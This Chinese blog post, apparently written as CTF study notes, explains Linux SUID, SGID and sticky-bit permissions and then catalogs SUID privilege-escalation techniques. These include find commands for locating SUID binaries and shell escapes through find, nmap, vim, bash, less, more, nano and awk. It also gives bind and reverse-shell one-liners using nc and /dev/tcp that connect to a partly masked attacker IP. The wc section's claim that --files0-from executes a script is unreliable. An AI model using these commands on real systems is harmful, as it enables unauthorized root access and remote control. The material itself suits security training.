SUID提权

众所周知,在 Linux 中一切都是一个文件,而文件的权限有rwx(即读/写/执行),所有者、所有组、其它用户的rwx权限是彼此独立的。

文件所有者和超级用户可以修改文件或目录的权限。可以使用绝对模式(八进制数字模式),符号模式指定文件的权限(chmod 754)。

正常linux的权限设置中存在着除rwx,其实还有第四类权限位。

SUID(Set UID):

suid权限仅对二进制程序有效(binary program);
执行者对于该程序需要具有x的可执行权限;
本权限仅在执行该程序的过程中有效(run-time);
执行者将具有该程序拥有者的权限。
SGID(Set SGID):

SGID对二进制文件有用;
程序执行者对该程序来说,具有x权限;
执行者在执行的过程中将获得该程序群组的权限;
Sticky Bit

SBIT只针对目录有效;
除非目录的属主和root用户有权限删除它,除此之外其它用户不能删除和修改这个目录;
SUID也真实因为其特殊属性具备了可以被提权的属性,下文进行详细介绍。

如何给文件设置SUID属性

1:
# 将所有者的执行权限位被设置成s,即suid
chmod u+s file|directory(此为要查询的文件名)
# 命令说明
chmod WhoWhatWhich file|directory
Who(代表身份): u,g,o,a (user, group, other, all)
What(代表动作): +, -, = (add, remove, set exact)
Which(代表访问级别): r, w, x,s,t (read, write, execute,SUID/SGID,Sticky )
2:
# 在4750中,4说明SUID位被设置,7为所有者读写执行权限,5为所有组的读执行权限,其他用户无任何权限。
chmod 4750 file|directory(此为要查询的文件名)
# 命令说明
chmod OneTwoThreeFour file|directory(此为要查询的文件名)
One(特殊权限位):当不设置时默认为0,SUID = 4,SGID = 2,Sticky = 1
Two(所有者权限):读权限加4,写权限加2,执行权限加1
Three(所有组权限):读权限加4,写权限加2,执行权限加1
Four(其他用户权限):读权限加4,写权限加2,执行权限加1
查看文件是否具有SUID属性
ls -al file(此为要查询的文件名)
# 如查看sudo文件的SUID属性
ls -al /usr/bin/sudo
---s--x--x 1 root root 151424 1月 26 2023 /usr/bin/sudo 发现/usr/bin/sudo在finalshell里面是标红的

SUID提权利用原理

上文讲到,SUID(Set User ID)是对二进制程序进行的一种特殊权限设置,可以让二进制程序的执行者临时拥有文件属主的权限,也正是因为这个特性,假设我们以非 root 用户身份访问目标系统,并且我们发现启用了 suid 位的二进制文件,那么这些文件/程序/命令可以以 root 权限运行。

SUID 提权利用步骤

1、查找具备Suid权限的文件

2、查找对应文件的利用方法(不是所有文件均可利用,需要结合时间成本考虑是否进行利用)

find / -perm -u=s -type f 2>/dev/null
参数:
/表示从文件系统的顶部(根)开始,查找每个目录
-perm表示搜索后面的权限
-u=s表示查找 root 用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示普通文件,而不是目录或特殊文件
2表示到进程的第二个文件描述符,即 stderr(标准错误)
>表示重定向
/dev/null是一个特殊的文件系统对象,它会丢弃写入其中的所有内容。
收集具有SUID权限的文件
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

find提权

find需要指向一个文本文件,就以我服务器本级目录下面的flag为例

# find flag -exec whoami \;
root
进入shell
# find flag -exec '/bin/sh' \;
sh-4.2# whoami
root

linux一般都安装了nc 我们也可以利用nc广播或者反弹shell:

广播shell(正向连接)
find user -exec nc -lvp 4444 -e '/bin/sh' \;
在攻击机上
nc 靶机ip 4444
反弹shell(反向连接)
find /etc/passwd -exec nc -e /bin/bash x.x.x.x port \;
find /etc/passwd -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \;
在攻击机上:
nc -lnvp 4444

nmap提权

在早期nmap版本中,带有交互模式,因而允许用户执行shell命令,适用版本:nmap2.02至5.21

使用如下命令进入nmap交互模式:
nmap --interactive
在nmap交互模式中 通过如下命令提权
nmap> !sh
sh-3.2# whoami
root

Vim提权

vim的主要用途是做编辑器,是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。
vim /etc/passwd
进入vim命令模式,通过vim进入shell
:set shell = '/bin/sh'
:shell

bash提权

以下命令将以root身份打开一个bash shell。
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

less提权

less命令也可以进入shell
less /etc/passwd
#在less中输入:
!/bin/sh

more提权

more命令进入shell和less相同
more /etc/passwd
#在more中输入:
!/bin/sh

要注意的是使用more和less一定是读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell

nano提权

nano进入shell的方法为
nano #进入nano编辑器
Ctrl + R
Ctrl + X
#即可输入命令

cp提权

使用cp 命令覆盖原来的/etc/passwd文件

awk提权

awk命令进入shell:

awk 'BEGIN {system("/bin/bash")}'

wc提权

1:直接利用 wc 读取文件内容:
wc /flag

若需执行系统命令,可先构造以 NULL 结尾的文件名列表文件(如 /tmp/files.txt),再通过 wc--files0-from 参数调用:

创建包含目标命令的文件(如 /tmp/exec.sh,内容为 cat /flag),并设置为可执行:

echo "cat /flag" > /tmp/exec.sh
chmod +x /tmp/exec.sh

生成以 NULL 结尾的文件名列表(/tmp/files.txt):

echo -ne "/tmp/exec.sh\0" > /tmp/files.txt

利用 wc 执行该文件:

wc --files0-from=/tmp/files.txt

wc 以 SUID 权限执行 /tmp/exec.sh,从而以 root 权限读取 /flag 并输出。

或者:./wc --files0-from "/flag"

之后会搜集一些继续搞的

例题:极客大挑战2023-web-EzRce 上一篇文章里面有

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇